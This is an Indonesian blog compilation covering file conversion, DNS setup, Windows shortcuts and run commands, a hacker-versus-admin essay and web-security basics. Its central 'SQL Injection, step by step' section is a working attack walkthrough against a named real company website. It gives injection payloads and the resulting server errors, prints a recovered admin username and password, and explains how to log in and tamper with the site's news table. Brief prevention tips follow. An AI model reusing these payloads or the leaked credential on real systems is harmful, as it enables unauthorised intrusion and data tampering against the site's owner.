Mengkonversi Type File

PDF (Portable Document Format) adalah salah satu type file yang populer saat ini, PDF terutama sering kita temui pada ebook-ebook. Mengapa PDF banyak disukai, terutama oleh pengguna internet. Selain mempunyai system proteksi yang cukup ampuh, PDF juga multiplatform. Artinya PDF bisa tidak tergantung pada satu jenis platfor saja. PDF bisa digunakan oleh pengguna Windows, UNIX, Linux, Machintos dan beberapa platform lainnya.

Bagi kita yang sudah terbiasa menggunakan Windows mungkin masih agak asing dengan file type PDF ini, namun jika kita sering menggunakan internet dan mendownload ebook, pasti sudah tidak asing lagi dengan type file ini. Bagaimana sebenarnya file PDF ini dibuat ? Untuk membuat file PDF ini ada beberapa jenis software yang bisa digunakan, salah satu diantaranya adalah Adobe Acrobat Distiller.

Adobe Acrobat Distiller bekerja seperti printer, namun tidak mencetak ke kertas atau media cetak lainnya. Melainkan Adobe Acrobat Distiller mencetak atau mengkonversi hasil cetakan menjadi file. Cara menggunakan Adobe Acrobat Distiller juga sangat mudah, misalnya jika kita ingin mengkonversi file bertype DOC (MS Word) ke type PDF kita memerintahkan program MS Word untuk melakukan pencetakan (Print), dan memilih Adobe Acrobat Distiller sebagai printernya.
Konversi Secara Online

Itu jika kita mempunyai software dan menginstallnya di PC, namun bagaimana jika kita tidak punya softwarenya. Alternatif yang bisa kita gunakan adalah mengkonversinya menggunakan fasilitas Online Convertion. Yaitu kita menggunakan fasilitas yang disediakan oleh website yang memberikan jasa mengkonversi berbagai type file. Salah satu website yang menyediakan jasa ini adalah Zamzar.com.

Zamzar.com bukan hanya menyediakan fasilitas untuk mengkonversi atau membuat file PDF saja, Zamzar.com juga menyediakan konversi berbagai type file. Diantaranya:

* csv - Comma Separated Values,
* doc - Microsoft Word Document,
* docx - Microsoft Word 2007 Document,
* odp - OpenDocument presentation,
* ods - OpenDocument spreadsheet,
* odt - OpenDocument Text Document,
* pdf - Portable Document Format,
* ppt - Microsoft PowerPoint Presentation,
* ps - Postscript document,
* rtf - Rich Text Format,
* wpd - Wordperfect Document,
* wps - Microsoft Works Document,
* xls - Microsoft Excel Spreadsheet.

Selain itu Zamzar.com juga menyediakan fasilitas untuk mengkonversi file-file image diantaranya:

* bmp - Windows bitmap
* gif - Compuserve graphics interchange
* jpg - JPEG compliant image
* pcx - PC Paintbrush Bitmap Graphic
* png - Portable Network Graphic
* tga - Truevision Targa Graphic
* tiff - Tagged image file format
* wbmp - Wireless Bitmap File Format

Mengkonversi file-file audio diantaranya:

* ac3 - AC3 Audio File
* flac - Free Lossless Audio Codec
* m4a - MPEG-4 Video File
* mp3 - Compressed audio file
* mp4 - MPEG-4 Video File
* ogg - Ogg Vorbis Compressed Audio File
* wav - Windows audio file
* wma - Windows media file

Mengkonversi file-file Video diantaranya:

* aac - Advanced Audio Coding File
* ac3 - AC3 Audio File
* avi - Windows video file
* flac - Free Lossless Audio Codec
* flv - Flash Video
* ipod - MPEG-4 Video File
* mov - Apple QuickTime Movie
* mp3 - Compressed audio file
* mp4 - MPEG-4 Video File
* mpg - Moving Picture Experts Group File
* ogg - Ogg Vorbis Compressed Audio File
* wav - Windows audio file

Cara mengkonversi file melalui Zamzar.com juga sangat mudah, kita tinggal mengkuti langkah-langkah yang telah disediakan oleh Zamzar.com. 1) pilih file yang akan dikonversi, 2) pilih type file hasil konversi yang diinginkan, 3) masukkan alamat email yang valid pada kota yang disediakan, 4) klik tombol Convert. File hasil konversi akan dikirimkan melalui alamat email yang diinputkan.

Image Hosted by ImageShack.us

Jadi kita tidak perlu bingung lagi jika ingin mengkonversi berbagai type file, tapi tidak mempunyai software untuk mengkonversinya. Kita bisa menggunakan Zamzar.com untuk berbagai keperluan tersebut.

Memahami Kerja DNS dan setting DNS

Apa itu DNS:
DNS singkatan dari Domain Name System, DNS secara bodhon merupakan suatu tools dalam jaringan yang digunakan untuk menterjemahkan dari nama domain ke ip address.

Mengapa ada DNS?
Komputer pada dasarnya tidak bisa membaca domain (nama komputer) dalam bahasa manusia seperti yahoo.com, google.com dll. Sedangkan yang di baca oleh komputer adalah bahasa mesin, yang berupa digital atau angka (202.162.135.135, 222.124.24.91). Untuk itu perlu pemetaan antara bahasa yang digunakan manusia ke bahasa mesin.

Bagaimana mekanismenya?
Mekanismenya adalah, ketika komputer kita (selaku DNS Client) memanggil sebuah host lain (misal http://yahoo.com) maka komputer kita akan segera menanyakan ke Server DNS yang telah kita pasang di konfigurasi jaringan kita. Jika server DNS kita tahu (ada catatan tentang domain tertentu) maka kita akan segera dipanggilkan dengan nomer IP yang bersangkutan. Jika server DNS kita tidak tahu, maka server DNS kita akan menanyakan pada server DNS yang lebih atas lagi dan seterusnya. Jika tidak diketemukan, maka dinyatakan bahwa host tidak diketemukan.

Bagaimana setting DNS Client?
Di Windows tinggal klik
Start
Setting
Network Connection

The image “http://geocities.com/bimosaurus/dns1.jpg” cannot be displayed, because it contains errors.

Gambar 1. Langkah 1



. Akan muncul gambar seperti berikut

The image “http://geocities.com/bimosaurus/dns2.jpg” cannot be displayed, because it contains errors.

Gambar 2. Langkah 2



Kemudian pada Icon Network Connectionnya di klik kanan Pilih Properties Seperti di dalam gambar yang di tampilkan dibawah

The image “http://geocities.com/bimosaurus/dns3.jpg” cannot be displayed, because it contains errors.

Gambar 3. Langkah 3

The image “http://geocities.com/bimosaurus/dns4.jpg” cannot be displayed, because it contains errors.

Gambar 4. Network Properties



The image “http://geocities.com/bimosaurus/dns5.jpg” cannot be displayed, because it contains errors.

Gambar 5. Network Configuration

Set lah DNS pada server DNS yang ada dalam jaringan anda, jika tak tahu, tanya ke administrator

Windows ShortCut

Windows system key combinations
• F1: Help
• CTRL+ESC: Open Start menu
• ALT+TAB: Switch between open programs
• ALT+F4: Quit program
• SHIFT+DELETE: Delete item permanently
Windows program key combinations
• CTRL+C: Copy
• CTRL+X: Cut
• CTRL+V: Paste
• CTRL+Z: Undo
• CTRL+B: Bold
• CTRL+U: Underline
• CTRL+I: Italic


Mouse click/keyboard modifier combinations for shell objects
• SHIFT+right click: Displays a shortcut menu containing alternative commands
• SHIFT+double click: Runs the alternate default command (the second item on the menu)
• ALT+double click: Displays properties
• SHIFT+DELETE: Deletes an item immediately without placing it in the Recycle Bin
General keyboard-only commands
• F1: Starts Windows Help
• F10: Activates menu bar options
• SHIFT+F10 Opens a shortcut menu for the selected item (this is the same as right-clicking an object
• CTRL+ESC: Opens the Start menu (use the ARROW keys to select an item)
• CTRL+ESC or ESC: Selects the Start button (press TAB to select the taskbar, or press SHIFT+F10 for a context menu)
• ALT+DOWN ARROW: Opens a drop-down list box
• ALT+TAB: Switch to another running program (hold down the ALT key and then press the TAB key to view the task-switching window)
• SHIFT: Press and hold down the SHIFT key while you insert a CD-ROM to bypass the automatic-run feature
• ALT+SPACE: Displays the main window's System menu (from the System menu, you can restore, move, resize, minimize, maximize, or close the window)
• ALT+- (ALT+hyphen): Displays the Multiple Document Interface (MDI) child window's System menu (from the MDI child window's System menu, you can restore, move, resize, minimize, maximize, or close the child window)
• CTRL+TAB: Switch to the next child window of a Multiple Document Interface (MDI) program
• ALT+underlined letter in menu: Opens the menu
• ALT+F4: Closes the current window
• CTRL+F4: Closes the current Multiple Document Interface (MDI) window
• ALT+F6: Switch between multiple windows in the same program (for example, when the Notepad Find dialog box is displayed, ALT+F6 switches between the Find dialog box and the main Notepad window)


Shell objects and general folder/Windows Explorer shortcuts
For a selected object:
• F2: Rename object
• F3: Find all files
• CTRL+X: Cut
• CTRL+C: Copy
• CTRL+V: Paste
• SHIFT+DELETE: Delete selection immediately, without moving the item to the Recycle Bin
• ALT+ENTER: Open the properties for the selected object
To copy a file
Press and hold down the CTRL key while you drag the file to another folder.
To create a shortcut
Press and hold down CTRL+SHIFT while you drag a file to the desktop or a folder.


General folder/shortcut control
• F4: Selects the Go To A Different Folder box and moves down the entries in the box (if the toolbar is active in Windows Explorer)
• F5: Refreshes the current window.
• F6: Moves among panes in Windows Explorer
• CTRL+G: Opens the Go To Folder tool (in Windows 95 Windows Explorer only)
• CTRL+Z: Undo the last command
• CTRL+A: Select all the items in the current window
• BACKSPACE: Switch to the parent folder
• SHIFT+click+Close button: For folders, close the current folder plus all parent folders


Windows Explorer tree control
• Numeric Keypad *: Expands everything under the current selection
• Numeric Keypad +: Expands the current selection
• Numeric Keypad -: Collapses the current selection.
• RIGHT ARROW: Expands the current selection if it is not expanded, otherwise goes to the first child
• LEFT ARROW: Collapses the current selection if it is expanded, otherwise goes to the parent


Properties control
• CTRL+TAB/CTRL+SHIFT+TAB: Move through the property tabs


Accessibility shortcuts
• Press SHIFT five times: Toggles StickyKeys on and off
• Press down and hold the right SHIFT key for eight seconds: Toggles FilterKeys on and off
• Press down and hold the NUM LOCK key for five seconds: Toggles ToggleKeys on and off
• Left ALT+left SHIFT+NUM LOCK: Toggles MouseKeys on and off
• Left ALT+left SHIFT+PRINT SCREEN: Toggles high contrast on and off


Microsoft Natural Keyboard keys
• Windows Logo: Start menu
• Windows Logo+R: Run dialog box
• Windows Logo+M: Minimize all
• SHIFT+Windows Logo+M: Undo minimize all
• Windows Logo+F1: Help
• Windows Logo+E: Windows Explorer
• Windows Logo+F: Find files or folders
• Windows Logo+D: Minimizes all open windows and displays the desktop
• CTRL+Windows Logo+F: Find computer
• CTRL+Windows Logo+TAB: Moves focus from Start, to the Quick Launch toolbar, to the system tray (use RIGHT ARROW or LEFT ARROW to move focus to items on the Quick Launch toolbar and the system tray)
• Windows Logo+TAB: Cycle through taskbar buttons
• Windows Logo+Break: System Properties dialog box
• Application key: Displays a shortcut menu for the selected item


Microsoft Natural Keyboard with IntelliType software installed
• Windows Logo+L: Log off Windows
• Windows Logo+P: Starts Print Manager
• Windows Logo+C: Opens Control Panel
• Windows Logo+V: Starts Clipboard
• Windows Logo+K: Opens Keyboard Properties dialog box
• Windows Logo+I: Opens Mouse Properties dialog box
• Windows Logo+A: Starts Accessibility Options (if installed)
• Windows Logo+SPACEBAR: Displays the list of Microsoft IntelliType shortcut keys
• Windows Logo+S: Toggles CAPS LOCK on and off


Dialog box keyboard commands
• TAB: Move to the next control in the dialog box
• SHIFT+TAB: Move to the previous control in the dialog box
• SPACEBAR: If the current control is a button, this clicks the button. If the current control is a check box, this toggles the check box. If the current control is an option, this selects the option.
• ENTER: Equivalent to clicking the selected button (the button with the outline)
• ESC: Equivalent to clicking the Cancel button
• ALT+underlined letter in dialog box item: Move to the corresponding item

Hacker disudut pandang Admin

Hacker adalah musuh-------------------Yah, benar hacker adalah musuh utama bagi seorang administrator.

Sebab mereka kadang kala menyebabkan banyak sekali kesulitan bagi seorang admin.
Kadang kala kerjaan seorang admin dari sekedar untuk memaintenance network menjadi harus menambal bolong2 network mereka dan harus memperbaiki apa yang salah dengan network mereka.
Belum lagi kasus dimana data - data pengguna jaringan mereka dirusak, dicuri, ataupun dirubah oleh hacker ini.
Menjadi seorang admin adalah tidak mudah, selain dia harus mengetahui dan mengerti dengan betul konsep jaringan, dia juga harus mempunyai kemampuan untuk memperbaiki kesalahan - kesalahan tidak diketahui pada jaringan mereka.
[ Tentunya jika dia adalah seorang admin yang baik ;p ].
Akan tetapi terkadang kala ada juga admin yang kerjaannya hanya memantau jaringan milik dia, tanpa memikirkan urusan - urusan mengenai kesalahan - kesalahan tersebut, mereka kadang kala hanya memikirkan " Ah bodoh amat, kerja gue kan cumen memaintenance network, ngak ada urusan dengan unknwon error ataupun hacker - hacker itu ".
Nah tipe admin yang beginilah yang mengganggap hacker itu adalah musuh mereka, sebab hacker itu menambah beban kerja mereka. Hacker hanya merusak jaringan mereka.
Admin tersebut harus menambah lagi waktu kerja mereka dari dulunya yang bisa dipergunakan untuk bersantai ria.
Tapi apakah betul hacker itu adalah seorang pengacau...

Hacker adalah teman-------------------Yah, benar hacker adalah seorang teman bagi seorang administrator.
Mereka membuat gairah bekerja seorang administrator kembali hidup, mereka membantu untuk memperkuat jaringan mereka.
Seorang admin yang menganggap seorang hacker adalah teman, merupakan tipe seorang admin yang berdedikasi tinggi.
Mengapa ?Sebab admin tersebut tidak memikirkan beban pekerjaan yang harus mereka tanggung, melainkan mereka memikirkan bahwa inilah yang saat yang sudah mereka tunggu - tunggu, sesuatu yang membuat pekerjaan mereka tidak membosankan.
Mereka bisa tahu apa kelemahan jaringan mereka, dan setelah tahu apa kelemahan jaringan mereka, mereka akan memperbaikinya.
Pernahkah anda merasakan betapa senangnya melakukan suatu hal yang benar - benar anda sukai dan anda kuasai ???Jika pernah, itulah perasaan yang sama yang dirasakan oleh tipe admin seperti itu.
Mereka mengganggap hacker bukanlah sebagai musuh atau beban mereka, melainkan menganggap mereka sebagai teman dan rekan seperjuangan yang patut dihargai.

Kesimpulan---------- - Jadi, Anda menganggap hacker sebagai apa?

SQL Injection, step by step

SQL Injection, step by step
By D-and
Published: April 25, 2007

/*********************************************************
* SQL Injection, step by step.
*
* No Warranty. This tutorial is for educational use only,
* commercial use is prohibited.
*
**********************************************************/

Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection
di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba

Atau kita pakai jalan pintas saja....

Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.


******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.


Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran, betapa tidak amannya dunia internet...
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding )


Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)

Perintah run command windows xp

Accessibility Controls
access.cpl

Add Hardware Wizard
hdwwiz.cpl

Add/Remove Programs
appwiz.cpl

Administrative Tools
control admintools

Automatic Updates
wuaucpl.cpl

Bluetooth Transfer Wizard
fsquirt

Calculator
calc

Certificate Manager
certmgr.msc

Character Map
charmap

Check Disk Utility
chkdsk

Clipboard Viewer
clipbrd

Command Prompt
cmd

Component Services
dcomcnfg

Computer Management
compmgmt.msc

Date and Time Properties
timedate.cpl

DDE Shares
ddeshare

Device Manager
devmgmt.msc

Direct X Control Panel (If Installed)*
directx.cpl

Direct X Troubleshooter
dxdiag

Disk Cleanup Utility
cleanmgr

Disk Defragment
dfrg.msc

Disk Management
diskmgmt.msc

Disk Partition Manager
diskpart

Display Properties
control desktop

Display Properties
desk.cpl

Display Properties (w/Appearance Tab Preselected)
control color

Dr. Watson System Troubleshooting Utility
drwtsn32

Driver Verifier Utility
verifier

Event Viewer
eventvwr.msc

File Signature Verification Tool
sigverif

Findfast
findfast.cpl

Folders Properties
control folders

Fonts
control fonts

Fonts Folder
fonts

Free Cell Card Game
freecell

Game Controllers
joy.cpl

Group Policy Editor (XP Prof)
gpedit.msc

Hearts Card Game
mshearts

Iexpress Wizard
iexpress

Indexing Service
ciadv.msc

Internet Properties
inetcpl.cpl


IP Configuration (Display Connection Configuration)
ipconfig /all

IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns

IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns

IP Configuration (Release All Connections)
ipconfig /release

IP Configuration (Renew All Connections)
ipconfig /renew

IP Configuration (Refreshes DHCP & Re-Registers DNS)
ipconfig /registerdns

IP Configuration (Display DHCP Class ID)
ipconfig /showclassid

IP Configuration (Modifies DHCP Class ID)
ipconfig /setclassid


ava Control Panel (If Installed)
jpicpl32.cpl

Java Control Panel (If Installed)
javaws

Keyboard Properties
control keyboard

Local Security Settings
secpol.msc

Local Users and Groups
lusrmgr.msc

Logs You Out Of Windows
logoff

Mcft Chat
winchat

Minesweeper Game
winmine

Mouse Properties
control mouse

Mouse Properties
main.cpl

Network Connections
control netconnections

Network Connections
ncpa.cpl

Network Setup Wizard
netsetup.cpl

Notepad
notepad

Nview Desktop Manager (If Installed)
nvtuicpl.cpl

Object Packager
packager

ODBC Data Source Administrator
odbccp32.cpl

On Screen Keyboard
osk

Opens AC3 Filter (If Installed)
ac3filter.cpl

Password Properties
password.cpl

Performance Monitor
perfmon.msc

Performance Monitor
perfmon

Phone and Modem Options
telephon.cpl

Power Configuration
powercfg.cpl

Printers and Faxes
control printers

Printers Folder
printers

Private Character Editor
eudcedit

Quicktime (If Installed)
QuickTime.cpl

Regional Settings
intl.cpl

Registry Editor
regedit

Registry Editor
regedit32

Remote Desktop
mstsc

Removable Storage
ntmsmgr.msc

Removable Storage Operator Requests
ntmsoprq.msc

Resultant Set of Policy (XP Prof)
rsop.msc

Scanners and Cameras
sticpl.cpl

Scheduled Tasks
control schedtasks

Security Center
wscui.cpl

Services
services.msc

Shared Folders
fsmgmt.msc

Shuts Down Windows
shutdown

Sounds and Audio
mmsys.cpl

Spider Solitare Card Game
spider

SQL Client Configuration
cliconfg

System Configuration Editor
sysedit

System Configuration Utility
msconfig

System File Checker Utility (Scan Immediately)
sfc /scannow

System File Checker Utility (Scan Once At Next Boot)
sfc /scanonce

System File Checker Utility (Scan On Every Boot)
sfc /scanboot

System File Checker Utility (Return to Default Setting)
sfc /revert

System File Checker Utility (Purge File Cache)
sfc /purgecache

System File Checker Utility (Set Cache Size to size x)
sfc /cachesize=x

System Properties
sysdm.cpl

Task Manager
taskmgr

Telnet Client
telnet

User Account Management
nusrmgr.cpl

Utility Manager
utilman

Windows Firewall
firewall.cpl

Windows Magnifier
magnify

Windows Management Infrastructure
wmimgmt.msc

Windows System Security Tool
syskey

Windows Update Launches
wupdmgr

Windows XP Tour Wizard
tourstart

Wordpad
write

Security

Saat ini, Firewall, Security Scanner, dan anti virus software hampir melindungi semua jaringan komputer di dalam suatu perusahaan.Walaupun dengan perlindungan tersebut, seorang hacker melakukan studi tersendiri, dan mempelajari cara lain untuk menembus, mengubah, dan mengambil data penting di dalam suatu perusahaan.

Dan sayangnya mereka menemukan cara lain tersebut untuk menembus keamanan data perusahaan, yakni melalui sebuah aplikasi Website perusahaan itu sendiri.

Aplikasi Website bisa di akses secara publik melalui internet, 24 jam sehari, 7 hari seminggu. Hal ini menyebabkan seorang hacker bisa melakukan percobaan hacking tanpa batas untuk menembus aplikasi website tersebut dengan tujuan yang bermacam-macam. ada yang semata-mata untuk menguji kemampuan hackingnya, ada yang bertujuan untuk mengubah, dan mengambil data penting , misalnya mengambil informasi data customer di perusahaan tersebut.


Pete Lindstrom, Seorang Director of Security Strategies with the Hurwitz Group mengatakan :
" Aplikasi website saat ini, adalah bagian dan struktur yang paling lemah di dalam suatu perusahaan".

Apa itu aplikasi website ?

- Aplikasi website adalah suatu aplikasi yang berada di dalam server suatu perusahaan, dimana setiap orang
bisa mengakses dan melihatnya melalui internet maupun intranet.

Aplikasi website terdiri dari 3 bagian aplikasi :

Bagian pertama adalah aplikasi browser, semacam : internet explorer, mozzila, firefox, opera, dan lain-lain.

Bagian kedua adalah aplikasi yang menghandle permintaan data ke server oleh browser tersebut, contohnya seperti : ASP ( active server pages ) , Java servlets, dan lain-lain.

Bagian ketiga : adalah database dari aplikasi website tersebut yang berfungsi sebagai penyedia data, dan juga penyimpan data atas permintaan dari aplikasi bagian kedua tadi.

Contoh-contoh Aplikasi website adalah : Shopping cart, Formulir order, halaman login, Forum, Blogs, dan lain-lain.

Modus Operandi, Bagaimana Hacker Menembus sistem keamanan website Anda.

Seorang hacker yang ingin melakukan serangan ke sebuah situs, mereka mempunyai tahap-tahap dalam melakukan hacking, modus operandi mereka selalu hampir sama. sebagian besar adalah :

1. Mengumpulkan Informasi.

ini adalah tahap awal untuk melakukan hacking, Hacker biasanya mengumpulkan informasi-informasi terhadap target terlebih dahulu, misalnya mencari informasi terhadap Operating System terhadap server target tersebut, apakah target memakai server berbasikan linux, atau window. Juga melakukan Port scanning pada website tersebut, untuk mengetahui port tersebut di gunakan untuk apa saja, dan port apa saja yang terbuka. lalu memeriksa aplikasi dari server tersebut.

misalnya apakah menggunakan PHP, atau CGI, atau ASP sebagai bahasa program untuk aplikasi situsnya.


2. Melakukan Survey
.
Jika sudah mendapatkan informasi-informasi tersebut di atas, hacker akan melakukan survey untuk mencari kelemahan terhadap informasi yang dia dapat tadi, apakah memiliki kelemahan atau tidak.

3. Memeriksa Input Validation.

Bila sudah di tahap ini, hacker akan melakukan uji coba atas input validation yang di gunakan website tersebut. dan mencari tahu, Input apa yang di butuhkan oleh server tersebut agar bisa melakukan perubahan.


4. Memulai Serangan.

Setelah mengumpulkan informasi terhadap situs target, maka hacker akan memulai serangannya.

Metode serangan favorit yang sering di lakukan oleh hacker

SQL Injection : Penyerang akan menjalankan perintah SQL melalui website tersebut, ini bisa di lakukan dengan dua cara, yakni melalui pengeditan Form , atau pun melalui pengeditan link url.

Cross site scripting ( CSS attack ) : Dengan serangan ini, Input yang di masukan pengguna lainnya dalam website tersebut akan di transfer ke website nya si penyerang.

Directory traversal Attack : Juga di kenal dengan ../ ( dot dot slash ) attack. Dengan serangan ini, directory yang tadinya tidak bisa di lihat ( forbiden ) akan bisa di akses. Dengan cara melakukan penambahan ../ di link target.

